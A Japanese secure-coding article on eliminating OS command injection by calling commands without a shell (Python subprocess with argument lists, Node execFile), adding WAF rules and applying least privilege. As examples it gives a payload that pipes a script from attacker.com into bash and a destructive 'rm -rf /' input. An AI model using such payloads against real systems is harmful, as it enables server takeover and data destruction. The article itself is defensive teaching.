「system()は死神の招待状」——OSコマンドインジェクションを根絶する設計思想
現場でインシデント対応をしていると、脆弱性診断の結果報告書で決まって目にする一行がある。「OSコマンドインジェクション脆弱性」。これを修正するために、泥縄式にescapeshellarg()のようなエスケープ関数を埋め込んでいるコードを見ると、正直に言って胃が痛くなる。
はっきり言おう。エスケープに頼るセキュリティは「割れ窓理論」の典型だ。 攻撃者は我々の想像の斜め上を行くシェルメタキャラクタを使い、エスケープの網をすり抜けてくる。
本稿では、OSコマンドインジェクションを「対策」するのではなく、「設計レベルで無効化する」ための現実的なアプローチを伝授する。
—
1. なぜ「exec系関数」は禁じ手なのか?(攻撃者の視点)
攻撃者の目的は、Webアプリケーションを通じてサーバーのシェルを掌握することだ。system()やexec()を呼び出すとき、引数にユーザー入力を連結させると、攻撃者は以下のようなPoCを突きつけてくる。
攻撃者が入力フィールドに注入する例
; curl -s http://attacker.com/malicious.sh | bash;
アプリケーション側が system("ping " . $user_input) のように実装していれば、サーバーは平然と攻撃者のスクリプトをダウンロードし、実行権限を与えてしまう。OSレベルのコマンド実行は、アプリケーションの権限をそのまま奪取することに直結する。これを防ぐには、「シェル(/bin/shやcmd.exe)を介さない」という原則を徹底するしかない。
—
2. 安全な実装の鉄則:シェルを経由させない
多くの言語には、コマンドを「文字列」として渡す関数と、「引数配列」として渡す関数が存在する。シェルを介さない(shell=False)、これがセキュリティの境界線だ。
Python: subprocess.run の正しい作法
Pythonで外部コマンドを叩く際、shell=True を使うのは「自らシェルを渡して攻撃してくれ」と言っているようなものだ。
import subprocess
悪い例: シェルが解釈するため、インジェクションが発生する
subprocess.run(“ping ” + user_input, shell=True)
良い例: 引数を配列で渡す。シェルを介さないため、
攻撃者が ‘; rm -rf /’ と入力しても、pingコマンドの引数として扱われるだけになる
def safe_ping(target_ip):
try:
# shell=False (デフォルト) を明示し、引数はリスト形式で渡す
result = subprocess.run(
[“/usr/bin/ping”, “-c”, “3”, target_ip],
capture_output=True,
text=True,
check=True
)
return result.stdout
except subprocess.CalledProcessError as e:
return f”Error: {e}”
Node.js: execFile を使う
Node.jsで exec() を使うのは避けろ。execFile() を使うことで、シェルを経由せずに直接バイナリを起動できる。
const { execFile } = require(‘child_process’);
// 悪い例: exec(cmd) はシェル経由で実行される
// 良い例: 引数を第2引数の配列で渡す
const args = [target_ip, ‘-c’, ‘3’];
execFile(‘/usr/bin/ping’, args, (error, stdout, stderr) => {
if (error) {
console.error(実行失敗: ${error.message});
return;
}
console.log(結果: ${stdout});
});
—
3. インフラレイヤーでの「二重の盾」
コードレベルで完璧を期しても、ライブラリの脆弱性やヒューマンエラーはゼロにはできない。インフラ側でも「コマンド実行」の可能性を潰しておく必要がある。
WAFによるリクエスト検知
ModSecurity等のWAFには、シェルメタキャラクタ(;, &, |, , $(), >>` など)を検知するルールを必ず適用すること。
Nginx + ModSecurityのルール例(簡易版):
シェルメタキャラクタを含むリクエストを拒否する
SecRule ARGS “([;&|`$])” “id:10001,phase:2,deny,status:403,msg:’OS Command Injection Attempt'”
IAM・権限分離(Least Privilege)
万が一、アプリケーションが乗っ取られた場合に備え、Webサーバーのプロセスを実行しているユーザー(www-dataなど)には、必要最小限の権限しか与えてはならない。特に、sudo権限の付与や、OSのシステムバイナリ(curl, wget, nc)への実行権限を制限することが、実務上の「最後の防壁」になる。
—
チーフエンジニアからの提言
「便利な関数」は、往々にして「危険な関数」だ。もし開発中に system() や shell_exec() を書こうとしている自分に気づいたら、一度手を止めて自問してほしい。
「本当にそのコマンドを実行する必要があるのか?」
DBの操作ならSQLで、ファイルの操作なら言語のAPIで、OSコマンドに頼らない設計こそが、最も堅牢で、かつパフォーマンスも出せる正しいエンジニアリングだ。コードは書くことよりも「いかに書かないか」でセキュリティが決まる。今日から、君のコードベースから system() を一掃しよう。それが、プロフェッショナルとしての第一歩だ。
コメント